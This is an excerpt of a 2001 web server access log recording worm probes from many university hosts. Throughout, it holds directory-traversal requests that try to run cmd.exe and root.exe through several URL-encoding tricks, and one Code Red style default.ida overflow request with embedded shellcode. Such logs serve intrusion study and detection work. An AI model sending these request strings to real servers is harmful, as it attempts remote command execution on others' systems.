  10141. 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10142. 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10143. 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10144. 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10145. 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10146. 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10147. 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10148. 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10149. 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10150. 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10151. 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10152. 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10153. 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10154. 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10155. 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10156. 20010919 09:42:20: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10157. 20010919 09:43:00: fern-220.dhcp.umass.edu [128.119.124.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10158. 20010919 09:43:01: fern-220.dhcp.umass.edu [128.119.124.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10159. 20010919 09:43:01: fern-220.dhcp.umass.edu [128.119.124.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10160. 20010919 09:43:01: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10161. 20010919 09:43:01: fern-220.dhcp.umass.edu [128.119.124.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10162. 20010919 09:43:02: fern-220.dhcp.umass.edu [128.119.124.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10163. 20010919 09:43:02: fern-220.dhcp.umass.edu [128.119.124.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10164. 20010919 09:43:02: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10165. 20010919 09:43:03: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10166. 20010919 09:43:04: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10167. 20010919 09:43:04: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10168. 20010919 09:43:05: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10169. 20010919 09:43:08: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10170. 20010919 09:43:08: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10171. 20010919 09:43:09: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10172. 20010919 09:43:09: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  10173. 20010919 09:44:04: mail.sports.uga.edu [128.192.97.249] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10174. 20010919 09:44:56: mail.sports.uga.edu [128.192.97.249] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10175. 20010919 09:44:56: mail.sports.uga.edu [128.192.97.249] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10176. 20010919 09:44:56: mail.sports.uga.edu [128.192.97.249] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10177. 20010919 09:44:56: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10178. 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10179. 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10180. 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10181. 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10182. 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10183. 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10184. 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10185. 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10186. 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10187. 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10188. 20010919 09:44:59: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10189. 20010919 09:44:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10190. 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10191. 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10192. 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10193. 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10194. 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10195. 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10196. 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10197. 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10198. 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10199. 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10200. 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10201. 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10202. 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10203. 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10204. 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10205. 20010919 09:47:20:  [207.115.139.110] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10206. 20010919 09:52:28:  [207.115.139.110] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10207. 20010919 09:52:46:  [207.115.139.110] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10208. 20010919 09:53:04:  [207.115.139.110] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10209. 20010919 09:53:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10210. 20010919 09:53:23:  [207.115.139.110] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10211. 20010919 09:53:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10212. 20010919 09:53:41:  [207.115.139.110] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10213. 20010919 09:54:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10214. 20010919 09:54:00:  [207.115.139.110] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10215. 20010919 09:54:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10216. 20010919 09:54:18:  [207.115.139.110] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10217. 20010919 09:54:36:  [207.115.139.110] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10218. 20010919 09:54:55: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10219. 20010919 09:54:55:  [207.115.139.110] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10220. 20010919 09:55:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10221. 20010919 09:55:14:  [207.115.139.110] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10222. 20010919 09:55:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10223. 20010919 09:55:32:  [207.115.139.110] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10224. 20010919 09:55:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10225. 20010919 09:55:51:  [207.115.139.110] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10226. 20010919 09:56:10: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10227. 20010919 09:56:10:  [207.115.139.110] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10228. 20010919 09:56:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10229. 20010919 09:56:29:  [207.115.139.110] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10230. 20010919 09:56:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10231. 20010919 09:56:47:  [207.115.139.110] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10232. 20010919 09:57:05: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10233. 20010919 09:57:05:  [207.115.139.110] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10234. 20010919 09:57:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10235. 20010919 09:57:24:  [207.115.139.110] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10236. 20010919 09:57:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10237. 20010919 09:57:42:  [207.115.139.110] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10238. 20010919 09:58:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10239. 20010919 09:58:00:  [207.115.139.110] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10240. 20010919 09:58:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10241. 20010919 09:58:20:  [207.115.139.110] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10242. 20010919 09:58:39:  [207.115.139.110] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10243. 20010919 09:58:57:  [207.115.139.110] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10244. 20010919 09:59:15:  [207.115.139.110] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10245. 20010919 09:59:34:  [207.115.139.110] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10246. 20010919 09:59:53:  [207.115.139.110] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10247. 20010919 10:00:11:  [207.115.139.110] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10248. 20010919 10:00:29:  [207.115.139.110] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10249. 20010919 10:00:47:  [207.115.139.110] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10250. 20010919 10:01:06:  [207.115.139.110] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10251. 20010919 10:01:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10252. 20010919 10:01:24:  [207.115.139.110] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10253. 20010919 10:01:42: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10254. 20010919 10:01:42:  [207.115.139.110] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10255. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10256. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10257. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10258. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10259. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10260. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10261. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10262. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10263. 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10264. 20010919 10:02:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10265. 20010919 10:02:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10266. 20010919 10:02:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10267. 20010919 10:02:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10268. 20010919 10:02:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10269. 20010919 10:02:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10270. 20010919 10:02:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10271. 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10272. 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10273. 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10274. 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10275. 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10276. 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10277. 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10278. 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10279. 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10280. 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10281. 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10282. 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10283. 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10284. 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10285. 20010919 10:02:23: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10286. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10287. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10288. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10289. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10290. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10291. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10292. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10293. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10294. 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10295. 20010919 10:03:11: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10296. 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10297. 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10298. 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10299. 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10300. 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10301. 20010919 10:03:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10302. 20010919 10:05:42: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10303. 20010919 10:05:42: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10304. 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10305. 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10306. 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10307. 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10308. 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10309. 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10310. 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10311. 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10312. 20010919 10:05:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10313. 20010919 10:05:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10314. 20010919 10:05:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10315. 20010919 10:05:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10316. 20010919 10:05:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10317. 20010919 10:05:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10318. 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10319. 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10320. 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
